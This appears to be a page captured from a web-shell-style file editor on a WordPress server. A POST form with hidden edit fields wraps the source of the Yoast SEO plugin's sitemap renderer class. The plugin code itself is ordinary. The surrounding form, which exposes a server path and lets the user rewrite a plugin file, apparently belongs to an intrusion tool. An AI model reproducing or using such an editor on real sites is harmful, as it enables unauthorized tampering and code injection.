<h2>File Contents: /home/planet5/www/wp-content/plugins/wordpress-seo-premium/inc/sitemaps/class-sitemaps-renderer.php</h2><form method='POST' action=''><input type='hidden' name='edit_file' value='/home/planet5/www/wp-content/plugins/wordpress-seo-premium/inc/sitemaps/class-sitemaps-renderer.php'><textarea name='file_content' rows='10' cols='50'>&lt;?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\XML_Sitemaps
 */

/**
 * Renders XML output for sitemaps.
 */
class WPSEO_Sitemaps_Renderer {

	/**
	 * XSL stylesheet for styling a sitemap for web browsers.
	 *
	 * @var string
	 */
	protected $stylesheet = &#039;&#039;;

	/**
	 * Holds the get_bloginfo( &#039;charset&#039; ) value to reuse for performance.
	 *
	 * @var string
	 */
	protected $charset = &#039;UTF-8&#039;;

	/**
	 * Holds charset of output, might be converted.
	 *
	 * @var string
	 */
	protected $output_charset = &#039;UTF-8&#039;;

	/**
	 * If data encoding needs to be converted for output.
	 *
	 * @var bool
	 */
	protected $needs_conversion = false;

	/**
	 * The date helper.
	 *
	 * @var WPSEO_Date_Helper
	 */
	protected $date;

	/**
	 * Set up object properties.
	 */
	public function __construct() {
		$stylesheet_url       = preg_replace( &#039;/(^http[s]?:)/&#039;, &#039;&#039;, $this-&gt;get_xsl_url() );
		$this-&gt;stylesheet     = &#039;&lt;?xml-stylesheet type=&quot;text/xsl&quot; href=&quot;&#039; . esc_url( $stylesheet_url ) . &#039;&quot;?&gt;&#039;;
		$this-&gt;charset        = get_bloginfo( &#039;charset&#039; );
		$this-&gt;output_charset = $this-&gt;charset;
		$this-&gt;date           = new WPSEO_Date_Helper();

		if (
			$this-&gt;charset !== &#039;UTF-8&#039;
			&amp;&amp; function_exists( &#039;mb_list_encodings&#039; )
			&amp;&amp; in_array( $this-&gt;charset, mb_list_encodings(), true )
		) {
			$this-&gt;output_charset = &#039;UTF-8&#039;;
		}

		$this-&gt;needs_conversion = $this-&gt;output_charset !== $this-&gt;charset;
	}

	/**
	 * Builds the sitemap index.
	 *
	 * @param array $links Set of sitemaps index links.
	 *
	 * @return string
	 */
	public function get_index( $links ) {

		$xml = &#039;&lt;sitemapindex xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#039; . &quot;\n&quot;;

		foreach ( $links as $link ) {
			$xml .= $this-&gt;sitemap_index_url( $link );
		}

		/**
		 * Filter to append sitemaps to the index.
		 *
		 * @param string $index String to append to sitemaps index, defaults to empty.
		 */
		$xml .= apply_filters( &#039;wpseo_sitemap_index&#039;, &#039;&#039; );
		$xml .= &#039;&lt;/sitemapindex&gt;&#039;;

		return $xml;
	}

	/**
	 * Builds the sitemap.
	 *
	 * @param array  $links        Set of sitemap links.
	 * @param string $type         Sitemap type.
	 * @param int    $current_page Current sitemap page number.
	 *
	 * @return string
	 */
	public function get_sitemap( $links, $type, $current_page ) {

		$urlset = &#039;&lt;urlset xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:image=&quot;http://www.google.com/schemas/sitemap-image/1.1&quot; &#039;
			. &#039;xsi:schemaLocation=&quot;http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd &#039;
			. &#039;http://www.google.com/schemas/sitemap-image/1.1 http://www.google.com/schemas/sitemap-image/1.1/sitemap-image.xsd&quot; &#039;
			. &#039;xmlns=&quot;http://www.sitemaps.org/schemas/sitemap/0.9&quot;&gt;&#039; . &quot;\n&quot;;

		/**
		 * Filters the `urlset` for a sitemap by type.
		 *
		 * @api string $urlset The output for the sitemap&#039;s `urlset`.
		 */
		$xml = apply_filters( &quot;wpseo_sitemap_{$type}_urlset&quot;, $urlset );

		foreach ( $links as $url ) {
			$xml .= $this-&gt;sitemap_url( $url );
		}

		/**
		 * Filter to add extra URLs to the XML sitemap by type.
		 *
		 * Only runs for the first page, not on all.
		 *
		 * @param string $content String content to add, defaults to empty.
		 */
		if ( $current_page === 1 ) {
			$xml .= apply_filters( &quot;wpseo_sitemap_{$type}_content&quot;, &#039;&#039; );
		}

		$xml .= &#039;&lt;/urlset&gt;&#039;;

		return $xml;
	}

	/**
	 * Produce final XML output with debug information.
	 *
	 * @param string  $sitemap   Sitemap XML.
	 * @param boolean $transient Transient cache flag.
	 *
	 * @return string
	 */
	public function get_output( $sitemap, $transient ) {

		$output = &#039;&lt;?xml version=&quot;1.0&quot; encoding=&quot;&#039; . esc_attr( $this-&gt;output_charset ) . &#039;&quot;?&gt;&#039;;

		if ( $this-&gt;stylesheet ) {
			/**
			 * Filter the stylesheet URL for the XML sitemap.
			 *
			 * @param string $stylesheet Stylesheet URL.
			 */
			$output .= apply_filters( &#039;wpseo_stylesheet_url&#039;, $this-&gt;stylesheet ) . &quot;\n&quot;;
		}

		$output .= $sitemap;
		$output .= &quot;\n&lt;!-- XML Sitemap generated by Yoast SEO --&gt;&quot;;
		$output .= $this-&gt;get_debug( $transient );

		return $output;
	}

	/**
	 * Get charset for the output.
	 *
	 * @return string
	 */
	public function get_output_charset() {
		return $this-&gt;output_charset;
	}

	/**
	 * Set a custom stylesheet for this sitemap. Set to empty to just remove the default stylesheet.
	 *
	 * @param string $stylesheet Full XML-stylesheet declaration.
	 */
	public function set_stylesheet( $stylesheet ) {
		$this-&gt;stylesheet = $stylesheet;
	}

	/**
	 * Build the `&lt;sitemap&gt;` tag for a given URL.
	 *
	 * @param array $url Array of parts that make up this entry.
	 *
	 * @return string
	 */
	protected function sitemap_index_url( $url ) {

		$date = null;

		if ( ! empty( $url[&#039;lastmod&#039;] ) ) {
			$date = $this-&gt;date-&gt;format( $url[&#039;lastmod&#039;] );
		}

		$url[&#039;loc&#039;] = htmlspecialchars( $url[&#039;loc&#039;], ENT_COMPAT, $this-&gt;output_charset, false );

		$output  = &quot;\t&lt;sitemap&gt;\n&quot;;
		$output .= &quot;\t\t&lt;loc&gt;&quot; . $url[&#039;loc&#039;] . &quot;&lt;/loc&gt;\n&quot;;
		$output .= empty( $date ) ? &#039;&#039; : &quot;\t\t&lt;lastmod&gt;&quot; . htmlspecialchars( $date, ENT_COMPAT, $this-&gt;output_charset, false ) . &quot;&lt;/lastmod&gt;\n&quot;;
		$output .= &quot;\t&lt;/sitemap&gt;\n&quot;;

		return $output;
	}

	/**
	 * Build the `&lt;url&gt;` tag for a given URL.
	 *
	 * Public access for backwards compatibility reasons.
	 *
	 * @param array $url Array of parts that make up this entry.
	 *
	 * @return string
	 */
	public function sitemap_url( $url ) {

		$date = null;


		if ( ! empty( $url[&#039;mod&#039;] ) ) {
			// Create a DateTime object date in the correct timezone.
			$date = $this-&gt;date-&gt;format( $url[&#039;mod&#039;] );
		}

		$url[&#039;loc&#039;] = htmlspecialchars( $url[&#039;loc&#039;], ENT_COMPAT, $this-&gt;output_charset, false );

		$output  = &quot;\t&lt;url&gt;\n&quot;;
		$output .= &quot;\t\t&lt;loc&gt;&quot; . $this-&gt;encode_url_rfc3986( $url[&#039;loc&#039;] ) . &quot;&lt;/loc&gt;\n&quot;;
		$output .= empty( $date ) ? &#039;&#039; : &quot;\t\t&lt;lastmod&gt;&quot; . htmlspecialchars( $date, ENT_COMPAT, $this-&gt;output_charset, false ) . &quot;&lt;/lastmod&gt;\n&quot;;

		if ( empty( $url[&#039;images&#039;] ) ) {
			$url[&#039;images&#039;] = [];
		}

		foreach ( $url[&#039;images&#039;] as $img ) {

			if ( empty( $img[&#039;src&#039;] ) ) {
				continue;
			}

			$output .= &quot;\t\t&lt;image:image&gt;\n&quot;;
			$output .= &quot;\t\t\t&lt;image:loc&gt;&quot; . esc_html( $this-&gt;encode_url_rfc3986( $img[&#039;src&#039;] ) ) . &quot;&lt;/image:loc&gt;\n&quot;;

			if ( ! empty( $img[&#039;title&#039;] ) ) {

				$title = $img[&#039;title&#039;];

				if ( $this-&gt;needs_conversion ) {
					$title = mb_convert_encoding( $title, $this-&gt;output_charset, $this-&gt;charset );
				}

				$title   = _wp_specialchars( html_entity_decode( $title, ENT_QUOTES, $this-&gt;output_charset ) );
				$output .= &quot;\t\t\t&lt;image:title&gt;&lt;![CDATA[{$title}]]&gt;&lt;/image:title&gt;\n&quot;;
			}

			if ( ! empty( $img[&#039;alt&#039;] ) ) {

				$alt = $img[&#039;alt&#039;];

				if ( $this-&gt;needs_conversion ) {
					$alt = mb_convert_encoding( $alt, $this-&gt;output_charset, $this-&gt;charset );
				}

				$alt     = _wp_specialchars( html_entity_decode( $alt, ENT_QUOTES, $this-&gt;output_charset ) );
				$output .= &quot;\t\t\t&lt;image:caption&gt;&lt;![CDATA[{$alt}]]&gt;&lt;/image:caption&gt;\n&quot;;
			}

			$output .= &quot;\t\t&lt;/image:image&gt;\n&quot;;
		}
		unset( $img, $title, $alt );

		$output .= &quot;\t&lt;/url&gt;\n&quot;;

		/**
		 * Filters the output for the sitemap URL tag.
		 *
		 * @api   string $output The output for the sitemap url tag.
		 *
		 * @param array $url The sitemap URL array on which the output is based.
		 */
		return apply_filters( &#039;wpseo_sitemap_url&#039;, $output, $url );
	}

	/**
	 * Apply some best effort conversion to comply with RFC3986.
	 *
	 * @param string $url URL to encode.
	 *
	 * @return string
	 */
	protected function encode_url_rfc3986( $url ) {

		if ( filter_var( $url, FILTER_VALIDATE_URL ) ) {
			return $url;
		}

		$path = wp_parse_url( $url, PHP_URL_PATH );

		if ( ! empty( $path ) &amp;&amp; $path !== &#039;/&#039; ) {
			$encoded_path = explode( &#039;/&#039;, $path );

			// First decode the path, to prevent double encoding.
			$encoded_path = array_map( &#039;rawurldecode&#039;, $encoded_path );

			$encoded_path = array_map( &#039;rawurlencode&#039;, $encoded_path );
			$encoded_path = implode( &#039;/&#039;, $encoded_path );

			$url = str_replace( $path, $encoded_path, $url );
		}

		$query = wp_parse_url( $url, PHP_URL_QUERY );

		if ( ! empty( $query ) ) {

			parse_str( $query, $parsed_query );

			$parsed_query = http_build_query( $parsed_query, null, &#039;&amp;amp;&#039;, PHP_QUERY_RFC3986 );

			$url = str_replace( $query, $parsed_query, $url );
		}

		return $url;
	}

	/**
	 * Retrieves the XSL URL that should be used in the current environment
	 *
	 * When home_url and site_url are not the same, the home_url should be used.
	 * This is because the XSL needs to be served from the same domain, protocol and port
	 * as the XML file that is loading it.
	 *
	 * @return string The XSL URL that needs to be used.
	 */
	protected function get_xsl_url() {
		if ( home_url() !== site_url() ) {
			return home_url( &#039;main-sitemap.xsl&#039; );
		}

		/*
		 * Fallback to circumvent a cross-domain security problem when the XLS file is
		 * loaded from a different (sub)domain.
		 */
		if ( strpos( plugins_url(), home_url() ) !== 0 ) {
			return home_url( &#039;main-sitemap.xsl&#039; );
		}

		return plugin_dir_url( WPSEO_FILE ) . &#039;css/main-sitemap.xsl&#039;;
	}

	/**
	 * Adds debugging information to the output.
	 *
	 * @param bool $transient Transient cache was used or not.
	 *
	 * @return string Information about the functionality used to build the sitemap.
	 */
	protected function get_debug( $transient ) {
		$debug = defined( &#039;YOAST_SEO_DEBUG_SITEMAPS&#039; ) &amp;&amp; YOAST_SEO_DEBUG_SITEMAPS === true;
		if ( ! $debug ) {
			return &#039;&#039;;
		}

		$memory_used = number_format( ( memory_get_peak_usage() / 1048576 ), 2 );
		$queries_run = ( $transient ) ? &#039;Served from transient cache&#039; : &#039;Queries executed &#039; . absint( $GLOBALS[&#039;wpdb&#039;]-&gt;num_queries );

		$output = &quot;\n&lt;!-- {$memory_used}MB | {$queries_run} --&gt;&quot;;

		if ( defined( &#039;SAVEQUERIES&#039; ) &amp;&amp; SAVEQUERIES ) {
			$queries = print_r( $GLOBALS[&#039;wpdb&#039;]-&gt;queries, true );
			$output .= &quot;\n&lt;!-- {$queries} --&gt;&quot;;
		}

		return $output;
	}
}
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